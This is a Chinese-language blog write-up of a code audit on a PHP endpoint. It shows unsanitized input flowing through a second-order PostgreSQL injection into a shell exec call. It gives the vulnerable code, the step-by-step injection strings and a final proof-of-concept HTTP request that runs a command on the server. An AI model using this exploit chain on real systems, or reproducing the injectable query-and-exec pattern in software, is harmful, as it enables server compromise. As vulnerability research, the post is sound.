某产品巧妙的命令执行漏洞

最近在做内部产品的代码审计,发现一处有趣的地方,我把关键代码提取出来,供大家学习思路

<?

if(array_key_exists('type',$_REQUEST)){
    $type = $_REQUEST['type'];
}

if(array_key_exists('sha1',$_REQUEST)){
        $sha1 = $_REQUEST['sha1'];
}


function get_report($sha1)
{
    global $dbo;
    $report_xml = '';
    $sql_command = "select parentsha1,report from ll_result where sha1='$sha1'";//albert
    $rs = $dbo->query($sql_command);
    if($rs!= false){
        $row =$dbo->fetchAll($rs);
        //echo count($row);
        //print_r ($row);
        $find_parent_empty =0;//0 not empty, 1 empty
        if($row !=false){
            for($i=0;$i<count($row);$i++)
            {
                if($row[$i]["parentsha1"] == null || trim($row[$i]["parentsha1"]) == '')
                {
                    if($row[$i]["report"]!=null && $row[$i]["report"]!=''){
                        $report_xml = $row[$i]["report"];
                    }
                    $find_parent_empty =1;
                    break;
                }
            }
            if($find_parent_empty ==0)//parentsha1 in tb_sandbox_result is not empty
            {
                //$sha1_parent = $row[0]["parentsha1"];

                $sha1_parent_group ="";
                for($i=0;$i<count($row);$i++)
                {
                    if($i==0)
                        $sha1_parent_group ="'".$row[$i]["parentsha1"]."'";
                    else
                        $sha1_parent_group = $sha1_parent_group.",'".$row[$i]["parentsha1"]."'";
                }
                $sha1_parent_group = "(".$sha1_parent_group.")";

                $sql_command = "select report,sha1 from ll_result where sha1 in ".$sha1_parent_group." and (parentsha1 IS NULL or parentsha1= '') limit 1";//albert
                $rs = $dbo->query($sql_command);
                if($rs!= false){
                    $row =$dbo->fetch($rs); 
                    if($row["report"]!=null && $row["report"]!=''){
                    $report_xml = $row["report"];
                    global $sha1;
                    $sha1 = $row["sha1"];

                    }
                }
            }
        }

    }  
    return $report_xml;
}


if($sha1 != ''){

       //get report
        $report_xml = get_report($sha1);
        if($report_xml == ''){
            return '';
        }


        if($type === "downloadxml"){
            $xml_filename = $sha1.'.xml';
            $zip_filename = $sha1.'.zip';
            $content=add_href($report_xml);
            $fh = fopen($xml_filename, 'w') or die("can't open file");
            //echo "write xml";
            fwrite($fh, $content);
            fclose($fh);

            header("Content-type: application/octet-stream");
            header("Content-disposition: attachment; filename=$zip_filename");

            @exec("zip -j $zip_filename $xml_filename");
            //@exec("zip -j $zip_filename $xml_filename xslt_style.xls");
            readfile($zip_filename);
            unlink($zip_filename);
            unlink($xml_filename);

            return;

        }
}

首先这个文件接受两个参数,一个type,一个是sha1
当sha1不为空的时候,那么就会先进入到get_report这个函数中,并且把sha1传递进去,可以看的sha1没有过滤就直接进入到了sql语句中,注意数据库是PostgreSQL,sql语句是:

select parentsha1,report from ll_result where sha1='$sha1'

由于ll_result没有任何数据,为了让后面的$rs不为空,所以$sha1要传入' union select '1','2,所以查出来的parentsha1为1,report为2,而parentsha1又被传入到下面的sql语句中

select report,sha1 from tb_sandbox_result where sha1 in ".$sha1_parent_group." and (parentsha1 IS NULL or parentsha1= '') limit 1"

这里就是一个二次注入了,由于$sha1_parent_group是从parentsha1而来,所以,要在parentsha1中放入一个单引号,而PostgreSQL对单引号的转义是两个单引号,而且为了让后面的$rs不为空,并且让第二次查询出来的$sha1可控,所以,注入语句为

1' union select '1'') union select ''222'',''333''--','2

而查询出来的$sha1最后拼接到exec函数中去执行了系统命令,所以,最后的注入语句是

1' union select '1'') union select ''222'','';echo%201111>xixixi.txt;''--','2

注入后第一次查询的sql语句是:

select parentsha1,report from tb_sandbox_result where sha1='1' union select '1'') union select ''222'','';echo 1111>xixixi.txt;''--','2'   

查出来的parentsha1为

1') union select '222',';echo 1111>xixixi.txt;'--

查出来的report为:2

注入后第二次查询的sql语句是:

select report,sha1 from tb_sandbox_result where sha1 in ('1') union select '222',';echo 1111>xixixi.txt;'--') and (parentsha1 IS NULL or parentsha1= '') limit 1

查询出来的report是:222
查询出来的sha1是:

;echo 1111>xixixi.txt;

最后的poc是

POST /php/test.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 110

type=downloadxml&sha1=1' union select '1'') union select ''222'',''/etc/passwd;echo%201111>hehehe.txt;''--','2
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值